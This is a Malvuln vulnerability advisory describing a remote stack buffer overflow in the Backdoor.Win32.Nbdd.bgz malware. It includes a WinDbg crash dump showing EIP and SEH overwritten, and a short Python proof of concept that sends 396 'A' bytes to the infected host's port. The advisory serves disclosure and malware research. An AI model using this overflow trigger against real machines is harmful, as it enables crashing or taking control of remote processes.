Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/6fab73bf104c6a9211b94f9559faa134.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Nbdd.bgz Vulnerability: Remote Stack Buffer Overflow Description: NetBot_Attacker VIP 5.9 on initial startup listens on port 8080 and on subsequent restarts port 80. Third-party attackers who can reach an infected system can send just 396 bytes to trigger a classic stack buffer overflow overwriting the EIP, ECX registers and SEH records. Type: PE32 MD5: 6fab73bf104c6a9211b94f9559faa134 Vuln ID: MVID-2021-0309 Dropped files: NB_Server.exe ASLR: False DEP: False Safe SEH: True Disclosure: 07/26/2021 Memory Dump: (114.e0c): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=041d1b60 ecx=41414141 edx=00000000 esi=041d1b60 edi=004060f0 eip=41414141 esp=074eff80 ebp=074eff94 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 41414141 ?? ??? 0:006> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: +0 41414141 ?? ??? EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 41414141 ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000008 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414141 Attempt to read from address 41414141 PROCESS_NAME: Backdoor.Win32.Nbdd.bgz.6fab73bf104c6a9211b94f9559faa134.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 41414141 READ_ADDRESS: 41414141 FOLLOWUP_IP: +0 41414141 ?? ??? FAILED_INSTRUCTION_ADDRESS: +0 41414141 ?? ??? MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 41414141 to 41414141 FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE PRIMARY_PROBLEM_CLASS: BAD_INSTRUCTION_PTR_STACKIMMUNE DEFAULT_BUCKET_ID: BAD_INSTRUCTION_PTR_STACKIMMUNE FRAME_ONE_INVALID: 1 STACK_TEXT: 00000000 00000000 unknown!backdoor.win32.nbdd.bgz.6fab73bf104c6a9211b94f9559faa134.exe+0x0 STACK_COMMAND: .cxr 00000000074EFB20 ; kb ; ** Pseudo Context ** ; kb SYMBOL_NAME: unknown!backdoor.win32.nbdd.bgz.6fab73bf104c6a9211b94f9559faa134.exe FOLLOWUP_NAME: MachineOwner MODULE_NAME: unknown IMAGE_NAME: unknown DEBUG_FLR_IMAGE_TIMESTAMP: 0 FAILURE_BUCKET_ID: BAD_INSTRUCTION_PTR_STACKIMMUNE_c0000005_unknown!Unloaded BUCKET_ID: APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE_BAD_IP_unknown!backdoor.win32.nbdd.bgz.6fab73bf104c6a9211b94f9559faa134.exe Followup: MachineOwner --------- 0:006> !exchain Invalid exception stack at 41414141 Exploit/PoC: from socket import * #Note: may require two consecutive requests to exploit. MALWARE_HOST="x.x.x.x" PORT=80 s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="A"*396 s.send(PAYLOAD) s.close() print("Backdoor.Win32.Nbdd.bgz / Remote Stack Buffer Overflow") print("MD5: 6fab73bf104c6a9211b94f9559faa134") print("By Malvuln") Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).